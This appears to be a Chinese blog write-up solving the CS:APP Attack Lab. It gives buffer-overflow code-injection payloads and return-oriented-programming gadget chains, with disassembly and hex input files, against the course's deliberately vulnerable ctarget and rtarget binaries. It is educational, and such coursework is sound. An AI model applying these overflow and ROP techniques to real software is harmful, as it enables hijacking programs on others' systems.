赞
踩
文件来源于《深入理解计算机系统》一书
Attack Lab 网址:http://csapp.cs.cmu.edu/3e/labs.html
运行坏境:Ubuntu 22.04.1
阅读attacklab.pdf
(writeup)文件,可以知道该实验分为两大部分。书
Code Injection Attacks
:ctarget是易受代码注入攻击的可执行程序,利用 代码注入(Code injection) 攻击该程序
Return-Oriented Programming
: rtarget是易受面向返回的编程攻击的可执行程序,利用 返回导向编程(Return-oriented programming) 攻击该程序
另外,如果在 ubuntu 系统上直接运行这两个程序,是无法运行的,因为服务器没有使用 CMU 的内网,无法建立连接。如下
FAILED: Initialization error: Running on an illegal host [XXX]
在attacklab.pdf
中也提供了解决方法,如下
Both CTARGET and RTARGET take several different command line arguments:
-h: Print list of possible command line arguments
-q: Don’t send results to the grading server
-i FILE: Supply input from a file, rather than from standard input
运行程序时,传入命令参数-h
可以打印可能的命令行参数列表;传入命令参数-q
可以不将结果发送到评分服务器;传入命令参数-i FILE
可以提供来自文件的输入,而不是来自标准输入。
因此,运行程序时附加命令参数-q
就可以在为连接内网的情况下运行程序。加上参数-i
还可以支持文件输入。
attacklab.pdf
中还提到了:文件中,ctargrt 和 rtarget 都从标准输入读取字符串,它们使用下面定义的函数 getbuf 来执行此操作:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
使用程序 hex2raw: 将十六进制序列转为可输入字符串。
hex2raw 的输入是用一个或多个空格分隔的两位十六进制值。因此,如果你想创建一个十六进制值为 0 的字节,你需要把它写成 00。要创建单词 0xdeadbeef,您应该将“ef be ad de”传递给 HEX2RAW(注意小端字节排序所需的反转)。
//注意机器为小端模式
//假设十六进制序列如下
30 31 32 33 34 35 00
//转换为字符串
012345
如何将汇编代码转换为机器代码
//假如有如下汇编代码 in example.s pushq $0xabcdef # Push value onto stack addq $17,%rax # Add 17 to %rax movl %eax,%edx # Copy lower 32 bits to %edx //使用gcc编译example.s,并使用objdump进行反汇编 gcc -c example.s objdump -d example.o > example.d //得到如下文件内容 in example.d example.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 68 ef cd ab 00 pushq $0xabcdef 5: 48 83 c0 11 add $0x11,%rax 9: 89 c2 mov %eax,%edx //获得机器码如下 68 ef cd ab 00 /* pushq $0xabcdef */ 48 83 c0 11 /* add $0x11,%rax */ 89 c2 /* mov %eax,%edx */
接下来进行 实验
所谓 Code Injection,就是通过缓冲区溢出,注入攻击代码。
phase1 任务:
运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch 1 的代码,而不是返回到 test。
在attacklab.pdf
文件中,ctargrt 中的 test 函数的参考 c 代码如下:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
ctargrt 中的 touch1 函数的参考 c 代码如下:
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
使用反汇编命令反汇编 ctarget,并保存到 ctarget.s 以便查看,如下:
objdump -d ctarget > ctarget.s
主要查看函数getbuf
和函数touch1
的汇编代码
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp //分配0x28的栈帧 4017ac: 48 89 e7 mov %rsp,%rdi //buf数组首地址 4017af: e8 8c 02 00 00 call 401a40 <Gets> //调用Gets 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp // 4017bd: c3 ret //使%rip值为返回地址 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
在函数getbuf
中分配了 0x28 的栈帧,说明字符串数组 buf 的BUFFER_SIZE
为 40,而函数touch1
的地址为 0x4017c0 ,接下来就是将函数test
调用函数getbuf
时存储在其栈帧中的返回地址改为 0x4017c0 即可。
创建 attack 文件 phase1.txt 如下
//文件中不包含注释 /*填充字符串数组buf*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /*利用数组越界注入函数 touch1 返回地址*/ /*小端模式*/ c0 17 40 00 00 00 00 00
使用命令如下
./hex2raw < phase1.txt > phase1_.txt
./ctarget -qi phase1_.txt
执行结果为
ubuntu> ./ctarget -qi phase1_.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
通过 phase1.
phase2任务
:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch2 的代码,而不是返回到 test, 且需要传入参数 cookie=0x59b997fa,通过 touch2 的验证。
在attacklab.pdf
文件中,ctargrt 中的 touch2 函数的参考 c 代码如下:
void touch2(unsigned val)
level = 2; /* Part of validation protocol */
if (val == cookie) {
rintf("Touch2!: You called touch2(0x%.8x)\n", val);
alidate(2);
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
查看函数touch2
的汇编代码如下
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 call 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 call 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
解决任务的思路就是在执行rep
之前先将寄存器%rdi
的值改为 cookie 值,然后再通过更改返回地址为0x4017ec
,即可达到调用函数touch2
且传入参数 cookie。
编写赋值 %rdi 的汇编代码 in phase2.s, 并将其插入到某段内存中
movq $0x59b997fa, %rdi //将 cookie 值赋给 %rdi
pushq $0x4017ec //将touch2的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret //ret将前面存入栈帧中的返回地址(%rsp+1)赋值给%rip,执行touch2
接下来将上述汇编代码转为机器码,执行如下命令
gcc -Og -c phase2.s objdump -d phase2.o > phase2_.s // in phase2_.s phase2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 push $0x4017ec c: c3 ret //机器码为 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
由此可得 attack 文件 phase2.txt 如下
//插入的汇编代码的机器码
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00
通过字符串数组溢出的方式注入的返回地址应为函数getbuf
栈帧的地址,亦为执行注入代码的地址,使用 gdb 断点调试功能获取该%rsp 地址。如下
//使用gdb调试 ctarget gdb ctarget //打上函数 test 的断点 b *0x401968 //执行函数, 输入命令参数-qi, 文件地址为绝对地址 r -qi ~/code/code/cyy/CSAPP/Attack/phase1.txt //打上函数 getbuf 的分配栈帧之后,销毁栈帧之前的某一语句的断点 b *0x4017ac //继续执行 c //查看寄存器值 i register rax 0x0 0 rbx 0x55586000 1431855104 rcx 0x0 0 rdx 0x5561dcc0 1432476864 rsi 0xf4 244 rdi 0x55685fd0 1432903632 rbp 0x55685fe8 0x55685fe8 rsp 0x5561dc78 0x5561dc78 r8 0x0 0 r9 0x0 0 r10 0x7ffff7d94e98 140737351601816 r11 0x7ffff7f31900 140737353292032 r12 0x3 3 r13 0x0 0 r14 0x0 0 r15 0x7ffff7ffd040 140737354125376 rip 0x4017ac 0x4017ac <getbuf+4> eflags 0x216 [ PF AF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
可以知道 %rsp
值为 0x5561dc78, 与 phase2.txt 中对应。
使用如下命令运行 ctarget
./hex2raw < phase2.txt > phase2_.txt
./ctarget -qi phase2_.txt
执行结果为
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
通过 phase2.
phase3任务
:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch3 的代码,而不是返回到 test, 且需要传入参数 cookie 的 字符串形式 作为参数,通过 touch3 的验证。
在attacklab.pdf
文件中,ctargrt 中的 hexmatch 函数的参考 c 代码如下:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
ctargrt 中的 touch3 函数的参考 c 代码如下:
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
分别查看其汇编代码如下
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp //%rsp - 128
...
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 ret
00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
注意到,当我们注入攻击代码后使 ctarget 按预期执行 touch3,但传入的参数为字符串且保存在栈帧中,touch3 验证 cookie 的方式是调用函数hexmatch
来判断,而且在函数中又调用了strcmp
,分别观察其汇编代码,发现函数hexmatch
的栈帧为 134 字节,如果处理不当,一定会覆盖掉传入的 cookie 字符串,毕竟函数getbuf
的栈帧也就 40 字节。
解决方法是充分利用指令ret
的运行时栈的特性,运行时栈为逆向生长,而指令ret
是将当前%rsp+8,并且将这 8 字节的内容作为返回地址赋值给程序计数器%rip。
因此,只要将 cookie 字符串的内容放在比注入指令ret
执行时 %rsp+8 地址高的位置即可,即在运行时栈中,cookie 字符串值在%rsp+8 的位置开始向上存储。
编写赋值 %rdi 的汇编代码 in phase3.s, 并将其插入到某段内存中
movq $0x5561dca8, %rdi //将 cookie 字符串首地址 赋给 %rdi
pushq $0x4018fa //将touch3的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret //ret将前面存入栈帧中的返回地址(8字节)赋值给%rip,执行touch3
接下来将上述汇编代码转为机器码,执行如下命令
gcc -Og -c phase3.s objdump -d phase3.o > phase3_.s //in phase3_.s phase3.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 push $0x4018fa c: c3 ret //机器码为 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
由此可得 attack 文件 phase3.txt 如下
//插入的汇编代码的机器码 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 //函数 getbuf的%rsp 值,亦为执行注入代码的地址 00 00 00 00 //在此之后存储cookie 字符串值 35 39 62 39 //cookie 的字符串形式 其地址为 getbuf的%rsp+0x30 39 37 66 61 00 00 00 00 //字符串结尾
使用如下命令运行 ctarget
./hex2raw < phase3.txt > phase3_.txt
./ctarget -qi phase3_.txt
运行结果为
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
通过 phase3.
在attacklab.pdf
文件提到
对程序 RTARGET 执行代码注入攻击比 CTARGET 要困难得多,因为它使用两种技术来阻止这种攻击:
幸运的是,聪明的人已经制定了策略,通过执行现有代码,而不是注入新代码,在程序中完成有用的事情,即 ROP。
ROP 为使用你程序里的字节代码攻击你的程序。
attacklab.pdf
文件中提到一个例子。
有如下 c 代码
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
对其进行反汇编后查看机器码
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
注意到,机器码 48 89 c7
可以编码为movq %rax, %rdi
,如果程序从 0x400f18 处开始执行,则等价于执行如下汇编代码
movq %rax, %rdi
ret
这种带有 ret 的指令段,称为 gadget,而 farm.c 里有很多这种 garget。你可以利用这些 garget 进行攻击。
farm.c 已经编译进了 rtarget,也就是说,你反汇编 rtarget 时,你就会找到 farm.c 里的函数
下图为 一些汇编指令的编码
另外 0xC3
编码为ret
, 0x90
编码为nop
.
phase4任务
:使用 ROP 技术重做 phase2
使用反汇编命令反汇编 rtarget,并保存到 rtarget.s 以便查看,如下:
objdump -d rtarget > rtarget.s
观察其汇编代码,发现 farm.c 确实已经编译进了 rtarget
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret
...
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 ret
查看 getbuf 与 touch2 的汇编代码
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 ac 03 00 00 call 401b60 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 call 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 call 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
字符串数组 buf 的BUFFER_SIZE
为 40,因为其没有设置金丝雀值,仍可以通过数组溢出改变程序运行的顺序,但由于栈随机初始化且只读模式,不可执行,所以不能够进行代码注入。接下来使用 ROP 技术,需要解决两点:
最先想到的汇编代码就是
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
但是使用 gadget 不可直接实现这段汇编代码的功能,但是我们可以将其拆分成多个语句,并结合运行时栈来解决。
先将 $0x59b997fa
放入栈中,由 popq
指令将其赋值给%rdi, 再将 $0x4017ec
放入栈中,由ret
指令后执行函数 touch2。
放入栈中的工作可以由字符串数组溢出来完成,而赋值寄存器则由 gadget 来完成。
观察 start_farm 到 end_farm 间的汇编代码,发现带有可以编码为popq
的 gadget 如下
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
//从 0x4019ab 处开始执行,等价于下方汇编语句
4019ab: 58 popq %rax
4019ac: 90 nop
4019ad: c3 ret
接下来还需要将%rax 值赋值给%rdi,如下 gadget
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
//从 4019a2 处开始执行,等价于下方汇编语句
4019a3: 48 89 c7 mov %rax, %rdi
4019a6: c3 ret
整合的汇编代码为
//函数 getbuf 的 ret 执行后跳转 0x4019ab
popq %rax
nop
ret //执行后跳转 4019a2
mov %rax, %rdi
ret //执行后跳转touch2 4017ec
由此可得 attack 文件 phase4.txt 如下
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 //占位 buf 40字节 ab 19 40 00 // 跳转 0x4019ab 执行popq %rax 00 00 00 00 fa 97 b9 59 // popq %rax 00 00 00 00 a2 19 40 00 // 跳转 0x4019a2 执行mov %rax, %rdi 00 00 00 00 ec 17 40 00 // 跳转 4017ec, 执行touch2 00 00 00 00
执行如下命令
./hex2raw < phase4.txt > phase4_.txt
./rtarget -qi phase4_.txt
执行结果如下
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
通过 phase4
phase5任务
:使用 ROP 技术重做 phase3
000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp //分配128 + 3*8 字节的栈帧 ... 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 ret 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> ...
使用 ROP 需要实现以下几个方面
保护 cookie 字符串依旧是将其放到栈帧的顶端(最后一个返回地址上方),难点再于如何获取 cookie 字符串得到地址。
易于想到的一点就是,使用寄存器 %rsp 加上某个偏移地址 xx 得到,得到如下汇编代码
movq %rsp, %rax
addq $0x xx, %rax
movq %rax, %rdi
但由于 gadget 中没有 addq $0x xx, %rax 命令,但是又类似的命令 add_xy 如下,等价于 %rax = %rdi + %rsi
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
所以可以通过字符串数组溢出来再某个内存中提前存放特殊的值,再通过 popq 将其赋值给%rdi 或%rsi,再调用 add_xy 获取 cookie 字符串的地址。
汇编代码实现如下
popq %rdi
movq %rsp, %rsi
call add_xy
movq %rax, %rdi
call touch3
查找 gadget,发现没有办法直接实现该功能。
查询有用 gadget 如下:
00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 ret //从 4019cc 处开始运行, 等价于 4019cc:58 popq %rax 4019cd: 90 nop 4019ce: c3 ret ---------------------------------------------------------- 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret //从 4019dd 处开始运行, 等价于 4019dd: 89 c2 movl %eax, %edx 4019df: 90 nop 4019e0: c3 ret ---------------------------------------------------------- 0000000000401a33 <getval_159>: // 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret //从 4019f7 处开始运行, 等价于 401a34: 89 d1 movl %edx, %ecx 401a36: 38 c9 //??, 但不会对寄存器造成影响 401a38: c3 ret ---------------------------------------------------------- 0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 ret //从 401a13 处开始运行, 等价于 401a13: 89 ce movl %ecx, %esi 401a15: 90 nop 401a16: 90 nop 401a17: c3 ret ---------------------------------------------------------- 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret //从 401a06 处开始运行, 等价于 401a06: 48 89 e0 movq %rsp, %rax 401a09: c3 ret ---------------------------------------------------------- 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret //从 4019a2 处开始运行, 等价于 4019a3: 89 c7 c3 movq %rax, %rdi 4019a5: c3 ret ---------------------------------------------------------- 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax //将 %rdi 和 %rsi 相加 4019da: c3 ret
改进汇编代码如下
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
movq %rsp, %rax
movq %rax, %rdi
call add_xy
movq %rax, %rdi
call touch3
由此可得 attack 文件 phase5.txt 如下
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 //40 字节占位符 cc 19 40 00 // 执行 00 00 00 00 20 00 00 00 // popq %rax 偏移量 00 00 00 00 dd 19 40 00 // movq %eax, %edx 00 00 00 00 34 1a 40 00 // movl %edx, %ecx 00 00 00 00 13 1a 40 00 // movl %ecx, %esi 00 00 00 00 06 1a 40 00 // movq %rsp, %rax 00 00 00 00 a2 19 40 00 // movq %rax, %rdi //%rdi 中 %rsp开始处 00 00 00 00 d6 19 40 00 // call add_xy 00 00 00 00 a2 19 40 00 // movq %rax, %rdi 00 00 00 00 fa 18 40 00 // call touch3 00 00 00 00 35 39 62 39 // cookie 字符串 //%rsp + 0x20 39 37 66 61 00 00 00 00 // 字符串结束符
执行如下命令
./hex2raw < phase5.txt > phase5_.txt
./rtarget -qi phase5_.txt
执行结果如下
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00
通过 phase5
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。